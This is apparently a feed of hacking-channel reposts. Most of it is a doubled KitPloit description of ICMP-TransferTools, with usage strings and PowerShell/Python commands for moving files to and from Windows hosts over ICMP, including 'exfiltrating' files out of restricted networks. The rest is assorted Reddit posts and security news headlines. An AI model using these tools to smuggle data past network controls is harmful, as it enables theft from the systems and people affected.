ICMP-TransferTools is a set of scripts (https://www.kitploit.com/search/label/Scripts) designed to move files to and from Windows (https://www.kitploit.com/search/label/Windows) hosts in restricted network environments. This is accomplished using a total of 4 different files, consisting of a python server and powershell (https://www.kitploit.com/search/label/PowerShell) client (https://www.kitploit.com/search/label/Client) for each transfer direction (Download & Upload).
The only dependency required is Impacket for one of the python scripts. It can be installed via pip like so: pip3 install impacket
Download via ICMP The included ICMP-SendFile.py and Invoke-IcmpDownload.ps1 scripts can be used to download a file to a Windows host via ICMP. The python server must be run first to stage the file for download. See below for the script's usage: usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP

optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000)
Once imported, the powershell client can then be used to download the staged file like so: Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload
See below for a quick demonstration:

___________________________
@hacking_Attack
@Hacking_Video

Upload via ICMP The included ICMP-ReceiveFile.py and Invoke-IcmpUpload.ps1 scripts can be used to upload/exfiltrate a file from a Windows host via ICMP. The python server must be run first to ensure it's ready to accept requests from the client. See below for the script's usage: usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
src Public IP Address of client
file File to write data to

optional arguments:
-h, --help show this help message and exit
Once imported, the powershell client can then be used to upload the desired file like so: Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload
See below for a quick demonstration:

___________________________
@hacking_Attack
@Hacking_Video

Download ICMP-TransferTools (https://github.com/icyguider/ICMP-TransferTools)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe: Vulnversity

https://cdn-images-1.medium.com/max/800/1*k3hrV3Ry4IVpTEM-9zko_w.jpeg
Task 2: Reconnaissance

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Expertos arrojan luz sobre el malware BlackGuard Infostealer vendido en foros rusos de hacking

https://cdn-images-1.medium.com/max/1024/0*UGKlknZY0a7IPs_Q
PUBLICADO EN 4 ABRIL, 2022POR EHACKING

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
ICMP-TransferTools - Transfer Files To And From A Windows Host Via ICMP In Restricted Network Environments

https://blogger.googleusercontent.com/img/a/AVvXsEi8_kcn3jH-OREsMHP6giD5C6ll6ADw-Oyu0c5uf2IXhoWPPBldiLTv0RZvDXzkfQQOZS--4JsqioRVAwZIMUVAFeoaGBwCeZ2azyXVj4UZaxMWdb0tlAfOyF4F4eDttCtBEN8C9WobbPYO1-pGOH7PCyojW2HvNGm-ma9AQHCgPuElCAw2YxibCZhX=w640-h416 ICMP-TransferTools is a set of scripts designed to move files to and from Windows hosts in restricted network environments. This is accomplished using a total of 4 different files, consisting of a python server and powershell client for each transfer direction (Download & Upload).
The only dependency required is Impacketfor one of the python scripts. It can be installed via pip like so: pip3 install impacket Download via ICMPThe included ICMP-SendFile.pyand Invoke-IcmpDownload.ps1scripts can be used to download a file to a Windows host via ICMP.

The python server must be run first to stage the file for download. See below for the script's usage: usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
source Public IP address of current host
destination Public IP address of destination host
file File to transfer over ICMP

optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbosely print progress
-b 1000, --block-size 1000
Size of each block (Default: 1000) Once imported, the powershell client can then be used to download the staged file like so: Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload See below for a quick demonstration: https://blogger.googleusercontent.com/img/a/AVvXsEi8_kcn3jH-OREsMHP6giD5C6ll6ADw-Oyu0c5uf2IXhoWPPBldiLTv0RZvDXzkfQQOZS--4JsqioRVAwZIMUVAFeoaGBwCeZ2azyXVj4UZaxMWdb0tlAfOyF4F4eDttCtBEN8C9WobbPYO1-pGOH7PCyojW2HvNGm-ma9AQHCgPuElCAw2YxibCZhX=w640-h416 Upload via ICMPThe included ICMP-ReceiveFile.pyand Invoke-IcmpUpload.ps1scripts can be used to upload/exfiltrate a file from a Windows host via ICMP.

The python server must be run first to ensure it's ready to accept requests from the client. See below for the script's usage: usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
src Public IP Address of client
file File to write data to

optional arguments:
-h, --help show this help message and exit Once imported, the powershell client can then be used to upload the desired file like so: Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload See below for a quick demonstration: https://blogger.googleusercontent.com/img/a/AVvXsEjjvNQAqpLNUDGzKdDO-oTcyO97mNBGOSI4eqVNUVhgd9Uj8aO4JSXEyyzJPSHjT2tapn-6YqdsF3rRbNQFvcrc0jOOSN_HJ2k3ijVfK9RhpIa3-OJgllY32bIdWdohmvm-02-DrjWkhQf-h9bZR2R3GC73oH3GC8npunkV64vznasmdj8uN3m8znAV=w640-h416 Download ICMP-TransferTools

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
PID exists in netstat but does not exist in task manager

I was at a friend's house this weekend. Said "friend" is a hacker. While I was at his house, I had my laptop with me for work. I needed to connect to the internet and I couldn't get on, so I gave the laptop to him so he could get me on his network.

At the time I didn't think he would hack ME. But I got a little curious and decided to try the netstat command just to be sure. Now I'm seeing that there are 2 processes that have an ESTABLISHED connection but I can't find these processes in my task manager using the PID.

Maybe I'm being paranoid and there's a good explanation for this. Or maybe my "friend" put something on my system.

Any advice on how to find out what these connections are, and why they aren't showing in my task manager? I don't want to ruin a friendship if there's a valid explanation for this.

submitted by /u/neotheflyingone
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Cybersecurity Regulations Every Professional Should Know

https://external-preview.redd.it/tqnUPlAXKVD7Sl8hKhEnbptwu2AbjaNJa3nlp2K9HNU.jpg?width=640&crop=smart&auto=webp&s=0569c11e9cdceec5c410b73fc24e8c492cbf07cb submitted by /u/XtremeMoments
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/i-JcfMRcImP6139Wua_-S8LDioW4Xfc0Ai364nMgbPI.jpg Hey so basically I'm taking this uceusa driving course through American safety council. Problem is it only allows you to do 4 hours of work every 24 hours and I have a driving test in a week. Is there anyway to bypass this?

https://preview.redd.it/1uv8jz043lr81.png?width=923&format=png&auto=webp&s=0687334a8237b421cdb906cc50b3800afd98cd49

submitted by /u/Jdogg2005
[link] [comments]

hacking: security in practice
Zmap Hacking(I'm an idiot and know very little about hacking)

How useful is Zmap in regard to seeding and retrieving information like block chaining your seed to better grasp an instance such as Don't Mess with Cats. The Zmap has to have left a trace of sorts by interaction alone, so how hard would it be to interact with the interaction. I'm probably giving it a bit more power in brain than credit should be due. I'm sure the makers of Zmap would of been flagged and questioned if it had true brute force.

submitted by /u/DaFlea
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Millions of Installations Potentially Vulnerable to Spring Framework Flaw

Internet scan indicates hundreds of thousands of vulnerable installations, while data from the major Java repository suggests millions, firms say.

Dark Reading: Attacks/Breaches
Apple Gift Card Scammers Sentenced for Role in $1.5M Fraud

Criminal conspiracy included theft of Apple point-of-sale devices.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Citrix® Modernizes Security to Accommodate Hybrid Work

Company launches cloud delivered, Zero Trust Network Access solution that protects all apps, data and devices, enabling secure work from anywhere.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
State Department Announces Bureau of Cyberspace and Digital Policy

The newly created bureau will help shape norms of responsible government behavior in cyberspace and help US allies bolster their own cybersecurity programs.